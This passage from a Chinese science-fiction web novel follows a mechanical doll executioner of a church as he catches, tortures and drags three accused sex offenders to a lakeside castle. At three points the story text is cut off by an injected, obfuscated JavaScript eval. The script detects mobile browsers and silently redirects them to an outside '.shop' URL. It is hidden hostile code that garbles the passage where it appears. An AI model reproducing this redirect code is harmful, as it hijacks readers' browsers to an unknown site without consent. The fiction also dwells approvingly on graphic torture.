不仅因为这家伙乱叫他宝贝,还有…… 敞篷车的座椅旁边扔着一个装饰项圈,已经被人扯断成两截。 晏风拿着颈圈往脖子上比划,尺寸正合适。看来是关朔夜强迫他戴上这个项圈,跟踪他的行迹,但他中途把颈圈扯断,这家伙找不到他所以反复留言。 符合他传闻中的爱好,将喜欢的东西当成自己豢养的宠物,让他无法逃出自己的手掌心。 系统:“我讨厌这样的爱好,主教阁下好变态。” 晏风端详着项圈:“手工打造的装饰品,是镶嵌宝石的高级货,一般人戴不上。” 系统:“您应该规劝主教阁下正常一点,而不是纵容他。” 晏风:“他也曾经是正常的,但以他的身世,正常人无法在教廷的环境生存下去。” 项圈上的红灯在一闪一灭,晏风轻触一下红灯,只听里面传来一个优雅的男性声音:“宝贝,速回~” “宝贝,速回~” “宝贝,速回~” 又是相同的留言。 温文尔雅的声音,能想象到背后的主人是一位颇有教养的绅士。 却不知为何,让人觉得有些毛骨悚然。 是晏风熟悉的关朔夜。 晏风:“听到他的声音一如既往,我放心了。” 系统:“殿下,您不要什么人都用啊!” 言谈间,街道上有喝醉的路人经过。 这条街是帝国西南部高档的红灯区,店里消费昂贵,来享受的都是堕落的有钱人。 有三个衣着华丽的公子哥正走出俱乐部,他们浑身酒气,打算寻找新的刺激。 正巧,路边的敞篷车里躺着一个漂亮少年,在醉醺醺地自言自语,男子们立刻被吸引了注意。 他们观察晏风一阵子,不怀好意地朝他走过去。深夜在路边玩弄一个放荡的小美人,没有比这更刺激的艳遇了。 三人发出窃笑声,脑内幻想着猥琐的画面,缓缓靠近车子。 系统发出提示:“殿下,我们的目标好像来了。” 晏风:“不想细看这种人,进行数据比对。” 系统:“面部识别成功,虹膜对比成功,身份验证全部匹配通过。” 就是他们了。 一只手按上晏风的肩膀。 三人之中的一名黑发男子弯腰凑近他,口中带着浓烈的酒气:“嘿,小美人,在等谁呢?” 另外两人嬉笑着吹起口哨:“季,小心他会很辣!” 晏风坐在车里没有动,眼神微冷:“无礼。” 三人皆是一惊。 少年金色的眼瞳透出一种睥睨的寒意,他冷淡地扫视过他们,就像在蔑视三只蝼蚁。 摆架子的美人他们见得多了,被甩脸色根本不痛不痒,然而这名少年眼中森冷的寒意,仿佛一名身居高位的尊主在训诫他的奴仆。 他斥责与轻蔑的神情,带着一种理所当然的倨傲。 三人的背脊莫名窜上一股寒意,酒瞬间醒了一大半。 系统适时提醒:“殿下,小心别把人吓走了。” 过分了吗? 晏风迅速揣摩了一下人设,眼眸微垂。 又缓缓睁开。 这一次,他的眼角眉梢染上一丝风情,身体慵懒地靠着椅背:“要一起玩吗?” 刚才眼底的森冷,消失无踪。 男子们有点懵,怀疑是不是看到了幻觉。 少年看着他们呆滞的样子,眼中笑意更深:“来吧。” 哪里有什么尊主,分明是只诱人的小野猫。 三个男人被他一逗,脑子立刻又不清醒了。 少年的笑意和他身上散发的酒香有种奇特的诱惑力,让他们忘记了刚才的恐惧,又轻浮起来,几只手试图抚摸少年的脸,恨不得立刻将他玩弄到乱七八糟。 下一瞬,其中一人猛然发出惨叫。 他整个人从车里翻出去,倒在地上捂住左脚痛苦地翻滚:“我的脚!我的脚!” 另一个金发男子大吃一惊,只见他的同伴捂住脚背,手指缝里不停地淌出鲜血。 借着路灯的光,能看到他的脚上竟然扎着一根长钉。 长钉刺穿他的脚背,直接贯穿鞋底,高档的皮鞋被鲜血染红,流淌到街沿的水泥地上。 金发男子惊恐的视线投向敞篷车,只见少年倚靠在车里笑盈盈地看着他们,指尖金属的寒光隐约闪烁。 他朝他们俏皮一笑:“好玩吗?” 男子一愣,顿时勃然大怒:“是你!” 臭小子,竟然假装醉酒偷袭他们!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939509|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 暴怒的男人从路边捡起一根铁棒,嘴里骂着粗话,朝少年冲过去。 夜色里,只见少年的手指轻轻一动。 长钉从他手里消失了。 几乎在同时,手持铁棒的男人发出一声惨叫:“啊——!” 他的身体被一股看不见的力量击中,朝后飞去狠狠撞在电线杆上。 男人惨叫着挣扎,身体动弹不得。 他的手脚被扭曲成一个奇怪的姿势,数枚长钉刺穿了他的衣领,袖子和西裤,另一头深深扎在电线杆里,就这样被固定在电线杆上,像一只被做成标本的蚂蚁。 “嘻嘻嘻,啊哈哈哈!——”少年发出放肆的大笑。 他猫咪般的眼瞳微微眯起,露出戏谑的神情,“废物,一个都玩不起。” 钉在地上和挂在电线杆上的男人恐惧地看着他,一时竟不敢言语。 少年身体斜倚,铆钉皮靴单脚踩在座椅上,单手托腮,悠然自得地欣赏他们的丑态,他眼中依然带着笑意,身上却透出一股恐怖的肃杀之气,与他的可爱外表截然相反。 就像游戏人间的少年恶魔。 侥幸没有被收拾到的第三个男人缩在一旁,瑟瑟发抖地在怀里掏通讯器想要求救。 少年回头看他一眼,摇了摇手指,轻声道:“不可以哦。” 男人根本来不及逃,只觉得眼前一阵冷风,怀中握住通讯器的手猛然传来剧痛。长钉将机器击得粉碎,连同他的手心一起穿透,牢牢钉在车门上。 “啊啊啊!——”惨叫声回荡在夜色里。 少年像是不耐烦听到他们的叫声,一跃身跳出车子,手中不知何时多出几道丝线。 他手腕一晃,飞起的丝线划出弧影。 三人的身体被这股力量硬生生地拔起,从三个不同的方向滚到一起,捆成一团。 被长钉贯穿的伤口撕裂,受伤的手脚迸出汩汩鲜血。 养尊处优的公子哥们哪里受过这样的委屈,一时间痛得快要昏厥,他们连骂都骂不出来,身体被丝线缠绕在一起,蜷缩在地上发出痛苦的呜咽声。 夜色下,美貌而冷酷的少年俯视着这些被他戏弄的罪人。 金色的眼瞳,冷光闪动。 “尼夫提提家族的塞托斯,柳金,季家的季龙扬,在五天前涉嫌诱拐猥亵未成年少女,候审期间用巨额保证金离监居家。” “看来,你们并没有好好反省。” 少年冷漠地说。 三人浑身一震。 黑发男子惊恐地睁大眼睛抬起头,这冰冷而威严的语气,突然让他想起一个流传在帝国西南部的故事,他难以置信地大喊:“你——你是教廷的人?!” 另外两人闻言,浑身都僵硬了。 少年微笑,缓声道:“你们说呢?” 他舒展开双臂,迎着对方做了一个行礼的姿势。 迎着月光,被捕的三人发现少年的身体有些异样,他的手腕和手指连接处,还有肌肤呈现出的诡异光泽,一切没有皮衣遮掩住的部位都不是人类该有的模样。 而是机械制造的球形关节,以及冷硬的人工材料。 眼前这个美貌少年,竟然并非血肉之躯。 他是一具精美的机械人偶。 “介绍一下我自己。”人偶发出悦耳的声音。 “费利希蒂教廷圣颂厅唱诗班,赞美圣歌颂唱之主音。” “作为真神的代行者眷属,传播神谕的天籁,洗涤大地的罪恶。” “你们可以称呼我为——弥赛亚。” 12. 执血的弥赛亚(2)处刑 机巧零件精密组合而成的发声装置,传递出真实人类无法比拟的天籁之音。 凭借之前饮用的酒——那些特殊迷.幻药的效果加持,只对人偶有效的能源液体,将弥赛亚的嗓音更加渲染地宛如虚幻。 这是真神赐予俗世,一份带着毒药的蜜糖。 也是罪人噩梦中神迹的威压。 以甜美的恐惧,赐予人世间最真实的惩戒。 于虚空的思绪里,穿透被罪恶包裹的污秽灵魂;真实的指尖,亦或刺透灵肉的胸膛,聆听业火中迷途的悔罪和哭嚎。 这是弥赛亚从诞生之日起,被赋予的圣职。 制裁世人的权柄和枷锁。 这一切。 他乐在其中。 系统:“殿下,身为人偶的感觉如何?” 晏风轻松地活动着手指关节:“跟数据里的记忆一样完美,除了身体没有触觉功能,所有细节我都很满意。” 费利希蒂教廷的圣堂歌者。 同时也是听从关朔夜的秘密指令,在白银十字领星各教区潜行的猎罪人偶。 这就是他的真实身份。 外表似是玩物,却是死神的化身。 机械人偶专为惩戒罪人而打造,记忆模块输入大量战斗数据,轻易不会受伤。 精巧的球形关节构造,让晏风的肢体可以扭曲到人体极限的角度,通过极度敏锐的身体反射,在瞬间夺走追捕对象的一切反抗能力。 而他的触觉功能经过精密调整,受到大幅度的限制,这让晏风在接触外在事物的时候,只有一种木然的触感。 他对主动和被动的碰触,没有任何感觉。 他的意识在弥赛亚的身体里,像是一截迟钝的木头。 推断这是关朔夜的特意改造,让他不会被任何手段勾引沉迷住,战斗受伤也不会痛。 人偶离开主人身边的时候,不需要拥有任何感情,他唯一的任务就是冷静果决地捕猎任务的对象。 被他捕猎的三人,已经如坠冰窟。 弥赛亚。 7号人偶的名字。 教廷唱诗班的主音,即是传闻中教廷的第一处刑人。 在此刻亲眼看到他之前,他们根本不相信教廷真的存在这种兵器。 这些男子都是各自家族的权贵子弟,犯下罪行以后,亲属企图为他们逃避律法的制裁,绕过正常途径寻找教会做担保,。 家族的长辈曾经警告过他们,离开拘留所并不等于高枕无忧。 教廷拥有一个脱离帝国律法体系的处刑人组织,他们是恐怖的人形兵器,只听从主教一人的命令,对违背教义者施行无情的处罚。 处罚的强度,手段和时限,不受任何监管。 犯罪者被抓进拘留所,等待他的结局只是律法的审判,运气好的话关几年就能出来;而一旦选择求助教廷的庇护,生杀大权就归于真神。 如果再次犯罪将会遭到处刑人的追捕,处刑手段不限于鞭挞,刑讯,监禁甚至猎杀。 教廷能够让你享受至高无上的特权,也能让你体验最黑暗绝望的痛苦。 三人对于警告,不以为意。 只要能离开冷冰冰的拘留所,被谁庇护都无所谓。 他们自认为见过世面,跟教廷唯一打交道的经验是在赎罪日,跟随家人前往圣堂聆听唱诗班的圣颂。 传闻主教有一些特殊爱好,唱诗班的歌者全部都是声音悦耳的美貌少年,他们身穿白袍吟唱圣颂的气质,令人想入非非。 淫者见淫,猥琐的男子们见过那些少年,认定教廷不过是一个用真神虚伪包装,暗中藏污纳垢的敌方。 却没有人告诉过他们,这些小美人真是恐怖的处刑人偶啊! 所谓的主教特殊爱好,竟然是欣赏罪人的惨叫。 “我们有关主教做担保,你不能随便动我们!”尼夫提提家族的塞托斯疯狂咆哮. 身体被长钉撕裂的伤口实在太痛了,他已经分不清自己的声音是在发泄痛苦还是愤怒。 弥赛亚好奇地睁大眼睛,弯腰凑近他:“还有力气为自己辩驳,求生欲很强烈,你说得对,真神会宽容地给予每个罪人再次审判的机会。” 说着,他轻轻握住塞托斯的右手。 弥赛亚的动作十分温柔,就像少年在爱护自己珍贵的玩具。 这样一个轻柔的动作却让塞托斯惨叫起来,他右手的每一块骨骼都发出可怕的咯咯声,在弥赛亚的手里随时会被捏碎成粉末。 美丽精致的人偶,却拥有绝对的恐怖力量。 “为什么乱叫呢?”弥赛亚困惑地望着他,“你们不是都喜欢年纪小的吗?来亲吻我,抚摸我,做你们最喜欢的事情吧。” “如果让我高兴,也许……我会放过你们。” 人偶的手指轻轻施力,将成年男子的掌骨捏脱臼。 惨叫再一次响起。 塞托斯顿时痛得昏死过去。 被捆在一起的另外两人,除了抱在一起发抖,已经什么都不会了。 他们后悔为什么不听警告,在家里按耐不住无聊,半夜到红灯区来找乐子。因为怕被家人发现,他们特地找了这个远离家族势力范围的场所,却没想到反而自投罗网。 据说教廷那位最可怕的处刑人,喜欢伪装成美少年在这附近游荡,四处寻找违背教廷戒律的罪犯。 但他们以为这是无聊之人编出来的故事,一定是哪家的公子哥在红灯区搭讪美人失败,在散播谣言给自己下台。 万万没想到,故事竟然全都是真的。 弥赛亚似乎对他们的反应不满意,起身轻轻一跳,脚下出现一双滑轮。 他随手提起被丝线捆住,已经半死不活的三人,就像轻松地提起一兜水果:“如果你们不愿意动手的话,就回去了。” “毕竟,懂礼貌的人不能在夜晚的室外,长时间闹出太大的动静,会影响到别人休息。” 此时,少年自言自语的可爱模样,看在三人眼里像是又一场新的噩梦。 他们根本不敢想象接下来会发生的事情。 下一秒,他们只觉得身体一轻,整个人像坐海盗船似的被甩到空中,又重重地摔到地上。 肉.体和坚硬的地面碰撞,发出沉闷的响声。 弥赛亚单手甩起三个成年男子,又随意将他们扔到地上。 他控制的力量很精准,刚好能将他们摔痛又不甩晕,更不会摔死的程度,被撞到鼻梁的其中一人,鼻腔里顿时血流如注。 少年却像什么都没看到似的,站在街边晃了晃脚:“前面都是沿着海岸的下坡路,我们的单程会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939510|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快。” “那么,走吧。” “在回到教廷接受惩罚的路上,请用痛苦洗涤诸位心灵的罪恶。” “愿真神宽恕世间所有的罪人。” 冷风呼啸,弥赛亚一踩滑轮,沿着路面飞驰而下。 身后拖着三个人。 “啊啊啊啊啊!——”新一轮的惨叫,回荡在红灯区的夜幕中。 帝国西南部的度假别墅沿海而建,公路沿着山顶一路下坡盘旋,直到山脚,沿途可以欣赏涅西丝外海的优美风景。 正值初夏,湿润的海风带着淡雅的野花香气,卷起阵阵海浪声,在白天和夜晚都是度假者闲庭信步的好地方。 然而在这个夜晚,知趣的客人们都早早关灯回避,空荡荡的街道不见一个散步者,唯有一阵阵痛苦的叫声在夜幕中回荡。 藏身在房子里的普通人都不敢言语,只在心里既是害怕又有点幸灾乐祸。 他们忍不住想看看,是哪家的不肖子弟又干了蠢事,招来教廷的处刑人亲自出动。 久居在此的公民,多少都见过违背教廷戒律的罪人被用各种惩戒方法带走的手段。 因为高档度假区是权贵家族最喜欢的娱乐场所,在这里避风头和不信邪的笨蛋也就格外多,无一例外都受到了残酷现实的吊打。 在这里,处刑人就像钓鱼一样,总能遇到他们喜欢的猎物。 今晚,空无一人的公路上,只见一名身穿漆黑皮衣的美貌少年,踩着滑轮沿海岸一路飞驰,像个独自玩乐的年轻人。 而他身后却是一副极为惊悚的画面——三个成年男子正血肉模糊地捆成一团,被他单手拖拽在身后。 由于他们的身体长时间和地面摩擦,公路留下几道长长的血迹,令人不寒而栗。 少年似乎是故意挑难走的路,时不时越过一个凹坑,或者踩到一块石头。那些男子的身体就不停地撞击到障碍物,时而弹跳,时而摩擦,脑袋还撞到石头发出坚硬的邦邦声。 他们就像三具死尸,瘫软地被少年拖着,一动不动,只有在被异物撞到吃痛的时候,才会发出一两声呜咽。 夜风轻拂。 吹起晏风柔软的发丝。 回到教廷的路很长,除了身后那三个男人偶尔叫几声,他的周围一片寂静。 静得都有些无聊了。 他问系统:“怎么不说话?” 系统:“您制造的场面太血腥,我不敢说话。虽然我看过案件资料,这些人是咎由自取。” 晏风:“一般情况下,我没兴趣亲手惩戒这种卑劣的小人物。” 晏风:“不过你要明白,血腥的手段可以不用,但是要会用,这样的话,等需要的时候就不会手足无措了。” 系统:“这就是您留在关主教身边的理由?” 晏风:“没错。” 前方是一处弯道,晏风俯身急速靠近,在即将撞上弯道岩石墙壁的时候,身体猛然高高跃起。 冷冽的月光照亮他纤细的身影,发丝在夜风中飞舞。 金色眼瞳里,无情的冷光闪动。 “在他身边,我可以得到——” “强大的力量。” 身体轻盈落下,滑轮与地面磨出火星,他身影微晃,朝着另一段公路。 继续前行。 13. 执血的弥赛亚(3)庭院 约莫过了一小时,美貌的猎人和他的猎物们逐渐靠近山脚。 晏风的目的地快要到了。 在环形山道的下坡尽头,位于涅西丝外海的南侧支流,金狩悲叹湖的左岸。 在那里,隐约可见一栋古朴典雅的建筑物伫立在夜色中。 是一座湖畔城堡。 湛蓝的湖水夜光映照,泛起粼动的波纹,辉色将城堡映照地如梦似幻,远看宛如圣光笼罩。 这是装置在水下的灯光技术拟造出的神圣效果,光影很迷人,但抛开虚幻的外表探究现实,它和晏风的这具人偶身体一样,完全是科技的产物。 如同中世纪教堂刻意雕琢的彩绘玻璃窗,将透进窗户的迷绚彩光曲解为上天的神意,教廷刻意营造出城堡的高贵和神幻感,令信徒在祭台面前祝祷的时候,感受到一种被洗涤身心的错觉。 对真神的信奉,由此更加狂热。 金狩庭院。 城堡的全名,它是教廷在涅西丝教区举办重要集会的场所,地理位置与教廷所在的白银十字主星尚有数个光年的距离,但属于主教经常喜欢光顾的地方。 没有很复杂的原因,只因这片教区生活富裕,流行奢靡享乐,处刑人在这里狩猎比较容易有收获。 既然有收获,就有相应的惩戒和审判。 主教喜欢。 系统评论:我就说关主教是个变态。 晏风停留在山脚下。 环山公路的下坡,到这里出现分岔。 走向右边的岔路能到达金狩悲叹湖的大型港湾,可以乘坐航运工具离开度假区。继续朝前则没有道路,四周也没有任何指路牌或者告示,只有一片巨大的空地。 空地的地面上铺着雕花纹路的石砖,一直延伸到空地尽头。 此时的夜晚空地十分冷清,但在某些特殊的活动日白天,这里密密麻麻地停满豪车,车里装载着前来参加活动的权贵家族信徒,以及徒步而来的各地民众。 晏风拖着猎物们走向空地,脚下的石砖看似冷硬,鞋底踏上去的感觉却出乎意料的舒适,有种奇异的柔软感。 显然这也是高科技工艺技术的结晶,采用外观坚硬的弹性材料作为地面基石,具有舒适的回弹力,灵感可能来自于运动场的塑胶跑道。 但是经过教廷舆论的神化,平平无奇的空地被描述成为真神的恩赐。 教廷声称此处是真神怜悯凡人的苦难,特意赐予诚心跪拜的信徒一点短暂歇息的神迹,令凡体俗胎的腿脚受到磨损以后,不会太痛苦。 简而言之就是,你们跪拜的时候膝盖不疼,是主教在代行真神的恩赐。 这蹩脚至极的理由竟然也有人信,惹来一众信徒的感激涕零。真神的怜爱和主教的仁慈由此得到更多传颂,巨额的筹款捐赠如雪片一般飞来。 晏风对于这种谎话连篇但效果奇好的教廷管理方式,曾经向关朔夜表达过诧异:“笼络人心的花招邪门但有效,皇太子的冠冕不如交给朔夜,我自己放假。” 关朔夜谦虚道:“不过是虚伪之人的愚戏罢了,在真正的智者面前无所遁形。” “况且,金钱避过皇权而聚拢在教廷手中,信徒心中真正所想,殿下您比我更清楚。” “我的一切,终究为您所掌控。” 砖石地面尽头,是一处巨大的七重拱门。 站在门下,抬头望不到边,只见数根巨型石柱高耸入云,沉寂在夜幕中。 完全由手工雕刻的拱门宛如古典风格的艺术品,精致而朴素,外观不带一点豪华的装饰,却处处透着巍峨华美。 它的每一寸都由能工巧匠精雕细琢,描绘出一幕幕教廷神话的场面,每个人物细节都栩栩如生,能够想象出期间耗费人工不计其数。 阳光普照的时候,拱门宛如一尊鲜活的艺术宝库,向朝拜者娓娓诉说着费利希蒂和白银十字比皇权更加漫长的历史。 教廷的华美和威严,在这座小小的教区圣堂里,就此得到完整的,一丝不苟的呈现。 在白银十字领星,这样的神迹处处可见。 它们是教廷权势财力的证明,更是主教教令完美彻底的执行,在关朔夜上位以后,一切都按照他的个人喜好所打造,不得有一丝瑕疵。 系统评论:奢靡! 晏风宽容地准许了系统的抱怨,穿过七重拱门。 四周静悄悄的不见一个人,也没有守卫,但晏风很清楚教廷高精尖的隐形防御激光正在暗处监督每一名不速之客,一旦来者被判定对教廷有敌意,激光立刻能从四面八方把他打成筛子。 它们不像渊先生在研究所发明的武器那样,制式,严谨,量产,完美符合杀敌需要的战术战略标准。 教廷的防御激光唯有一个作用,就是展示真神的雷霆威压,将一切违背教义的信徒和无礼的冒犯者诛杀殆尽。 激光具体的破坏力多大,在什么情况下会发动攻击,能消灭多少敌人,谁都不清楚,一切都凭关朔夜的喜好。 敢问,就是真神降于人世的惩戒手段。 被轰成渣的话,是命中注定的报应。 此时,被晏风捆在一起的那三名男子,好像从下坡路的磕磕绊绊里缓过气来,正在鬼祟地探头探脑。 他们并不知道山脚下的这片土地属于谁,只有在山上眺望风景的时候赞叹过城堡的华丽贵气,但注意力很快被红灯区的莺歌燕舞吸引住。 别人家的产业,当然不如眼前的脂粉气更有魅力。 却没想过,这会是让他们不久之后倒大霉的地方。 看到弥赛亚目不斜视地往拱门里走,再蠢的人也知道这里是教廷的领地,三人之中的季龙扬突然意识到一个问题,他大喊起来:“这不公平!” “教廷的圣堂就在距离红灯区这么近的地方,我们一路都能滚到这里,凭什么不抓他们,只抓我们?!” 塞托斯和柳金闻言,也好像被狠狠锤了一拳,如梦初醒。 对啊,妈的。 就好像总觉得哪里不对劲。 他们犯法,红灯区就不犯法吗? 在街上的时候,他们被这个暴力人偶打得满地找牙,又在下坡路被他拖着跑,全身都痛得要命,一时间吓得找不着北。 现在回想起来,什么教廷的处刑人在夜晚游荡猎杀教廷的罪人,这种传言本来就荒唐可笑。 淫邪纵欲就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939511|192929||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对真神最大的亵渎,教廷要执法也应该先端掉那些声称真人服务的俱乐部,他们不但坐视不管,还故意在色情场所门口钓鱼,欺骗不明真相的顾客上钩。 凭什么? 私欲,这一切都是主教的私欲! 俱乐部肯定是他肆意享受的纵欲乐园,他却假惺惺地声称跟他同样污秽的人有罪,教廷果然是个藏污纳垢的地方,甚至比俗世更加罪恶,虚伪! 弥赛亚没有说话。 他俯身拾起地上的一颗小石子,朝着七重拱门中心的上方抛投。 那处位置从肉眼看来空无一物,月色洒落在精致的石刻雕塑上,泛出一层柔美的月影。 石子在空中划出一道抛物线,眼看就要砸向拱门,损伤到那些精美的艺术品,但就在即将接触的瞬间,从夜空里的各个方向,突然毫无征兆地迸射出数道红色激光。 只听轻微的炸裂声,石子被炸得粉碎。 不是碎裂或者损毁,是完完全全地,碎成了粉末。 三人目瞪口呆。 他们甚至没有看清楚,激光是从什么方向射出来的。 “主教阁下的雷霆怒火。”人偶悦耳的声音响起。 “一旦击中人体,能在千分之一秒内,将细胞提升至上千度的高温,想必各位的器官会被焚烧成有趣的形状。” 弥赛亚的视线,缓缓移动到男子们的身上。 他金色的眼瞳里,犹如凝结着霜月的寒意。 “请你们搞清楚,这条通往圣堂的道路,是给予罪人安静自我反省的机会。你们的眼中不该看到任何与自身罪行无关的事物,你们的口中不该诉说试图为自己脱罪的狡辩。” “除了痛苦和自省,你们不该有任何想法,以及感觉。” “如果有,看来是我惩戒的手段不够激烈。” 死一般的寂静。 坐在地上的三人,全身仿佛都冻住了。 季龙扬张了张嘴,却发现自己的大脑一片空白,嘴里一个字都说不出来。 弥赛亚冷酷的眼神仿佛在扼紧他们的灵魂,将意识深处最后一点企图自救的想法,从体内彻底地抽出来,甩在地上踩得粉碎。 没有申诉,没有余裕。 他在最后一次告诫他们,在教廷的绝对威严面前,被判有罪的人绝无任何辩驳的余地,只有选择接受痛苦的惩戒并彻底认清自己的罪孽,获得真神的宽恕。 或者,选择为自己进行无意义的辩驳和反抗。 然后自取灭亡。 意识空间里,系统小心翼翼地问:“那个,殿下……真的不用为他们解释一下吗?我们帝国境内各个部门和营业场所的情况,竟然还有人不知道。” 晏风:“我有解释的必要吗?” 他没有。 弥赛亚更没有。 人偶只会冷血而忠诚地执行主人的命令,在将罪人押送到圣堂进行最后的审判之前,彻底击溃他们反抗的意识。 不得有一丝懈怠。 因为他知道,他的主人一定时时刻刻,在某个地方注视着这一切。 并且尽情地享受。 晏风正在给予关朔夜,尽情的享乐时光。 14.执血的弥赛亚(4)朔夜 所谓真人服务,是这个时代常用的营销噱头。 那间俱乐部里,大概率根本没有真人。 当今生产力资源过剩的时代,各种合法或者不合法的工作几乎完全被机械取代. 公民生活中所能接触到的一切人工交互,都通过机械内置的局域网络,被律警司收集成数据包,日常毫无隐私可言。 具有鲜活感和私密感的真人,因此成为吸引顾客的手段。 用各种特殊材质的机械模仿真实人类的外表,触感和言行,与客户进行富有沉浸感的模拟互动,早已成为各个行业公开的秘密。 灯红酒绿的娱乐场所,最容易以假乱真,酒精加上一点特殊但合法的迷.幻药,把狗看成美人也不是什么难事。 寻欢作乐的客人们,花高价体验到的究竟是真人,还是什么不能言说的东西,谁知道呢。 亦真亦假,在这个时代平平无奇。 系统:“该推进一下机械人权法案了,凭什么要让它们服务这些流氓。” 晏风:“虚拟意识体验,正在加快推进工作。” 系统:“这很好……不对!您的意思是说,要让我这样的虚拟系统来提供服务?” 系统:“主教阁下的激光,请立刻把全宇宙的流氓都轰成渣!” 险些被轰成渣的三人,此时已经失去一切言语能力。 他们像瘫软在一起的泥,被晏风拖进了通往庭院的拱门里。 拱门之内,是一望无际的田园。 柔美的月色中,田间野花摇曳。 从山脚到港湾的大量土地全部归属教廷所有,面对拱门延伸到金狩庭院正门的道路被分割成几处花园,精心修剪成绿植迷宫的构造; 远处则是大型的种植园,能看到繁茂的苹果树和葡萄架,枝叶在月光下垂落着甜美的果实。 庭院的果实会被加工成食品,在活动日施舍给贫苦的公民,不限信徒,不限公民姓氏;而花费的成本全部来自于富裕信徒的捐赠,教廷不花一分钱,轻松实现了金钱的合理流通。 系统评论:狡诈! 晏风提示系统:“到这里就不要说话了,朔夜喜欢安静,如果我和你说话太大声被他听到,我怕被他打成筛子。” 系统:“我还是不服气,看着您的臣子奢华享乐,我们凭什么要在帝国的领土受这样的委屈,教廷的领地首先是您的领地,关主教不配占为己有。” 晏风:“我明白你的怨气从何而来,《婚姻法》先不要看了。” 系统很不甘心:“他的东西都应该是您的,他整个人都应该属于您,时刻为您提供所有尺度的真人服务!” 晏风没有理睬,进入庭院之前要做一些准备。 他手里的战利品,那三名男子还捆在一起,下山之后的道路比较平缓,拖拽在他们身后的血迹逐渐淡化为浅浅的血痕。 庭院内部禁止流血和喧哗,晏风检查了他们的伤口,确认给予了他们足够的痛苦但不至于致命,将他们拖到花园的一处角落。 作为人偶,他很好地执行了自己的惩戒职责。 三人经过七重拱门的激光威慑,早已经失去反抗意识,唯有恐惧本能还在运作,眼见自己被拖到奇怪的地方,又开始乱叫:“救命!救命!” 走在前面的少年回头,食指竖在唇边:“嘘,不可以发出噪音,会触怒主教。” 他将三人拖进花园角落的大棚里,里面堆着一些刚刚采摘的水果,个头大小不一。 其中尺寸最大的是西瓜,塞到哪里肯定都能严丝合缝,少年拿起一只中等西瓜在手里掂了掂,随手抓起一名男子的头发,卡住他的脸颊,把西瓜朝他口中塞。 柳金被迫张开嘴:“唔!唔!” 塞托斯和季龙扬吓得浑身发抖,人嘴怎么可能塞得进西瓜! 什么嘴都不可能! 魔鬼,教廷的魔鬼! 少年尝试了一会儿,看西瓜堵嘴失败,露出失望的表情。 不知情的人看见这副模样必定心生怜爱,这么可爱的男孩子怎么可以让他失望,不管什么困难的事情都应该替他办到。 只有被他亲手折磨过的三个倒霉蛋,看到弥赛亚的叹息,觉得浑身发凉。 所谓可爱的男孩子失望,意味着他们不知道又要被他怎么折磨,今晚的噩梦没完没了! 还好,弥赛亚没有做出什么违反人类生理极限的事情,比如把西瓜硬塞。几次尝试失败以后,他遗憾地放下西瓜,转而在水果堆里拿了一些尺寸合适的苹果。 他温柔地对男人们说:“这是主教亲手种植的苹果,希望各位好好品尝它们的美味,请咬住苹果,在安静地专注中反省自身的罪恶,但如果被我发现你们把苹果咬碎的话……” 说着,他看了一眼地上的西瓜。 三名男子面露惊恐,连忙争先恐后地咬住苹果:“唔唔唔!” 苹果,苹果很好! 绝对不要西瓜! 晏风做完准备,拍拍手上的灰。 系统还在嘀嘀咕咕什么都是殿下的,晏风问他:“刚才这招够血腥吗?弥赛亚的人设不能崩,但有时候觉得我太善良。” 系统略微迟疑:“胆子总是会逐渐变大,听到他们的惨叫,我也没有一开始那么肝颤了,甚至有一点点爽是怎么回事。” 晏风:“惩戒的职责和软弱的良心天人交战,最后满级大佬屠新手村的冲动获胜了是吗?注:反派新手村。” 系统:“等等,我记不过来。” 系统:“玩弄小角色胜之不武,您不抓紧时间去见关主教,还在犹豫什么。” 晏风拖着猎物,走向通往主厅的长廊:“我在让朔夜细细品味。” “品味我的手段,我的魅力。” “让他……更加迫不及待。” 灯火通明的长廊里,不见一人。 只有墙壁两侧的金色灯光照在来者身上,在地面落下冰冷的影子。 晏风独自走了很久。 从山脚,到七重拱门,到花园。 觐见主教的道路似乎格外漫长,虔诚的信徒会说这是真神对信仰的考验,唯有真正忠诚的膜拜才能窥得神迹的一丝圣光。 晏风却认为,这种狂热的想法只说对了一半。 真神的代行者藏身在帘幕之后,也许仅仅是因为他不想看到活人。 关朔夜并不希望,谁都可以走到他面前。 他接触到的鲜活生气,越少越好。 孤寂,并非因为高高在上。 偌大的金狩庭院里,根本感受不到任何真人气息,在这个寂静的夜晚,只有微凉如水的月光,轻柔的夜风在陪伴着晏风。 以及,他身为人偶的卓越听觉能捕捉到的,那些十分轻微的,防御激光武器移动跟踪他的机械声。 这就是关朔夜如今的生活。 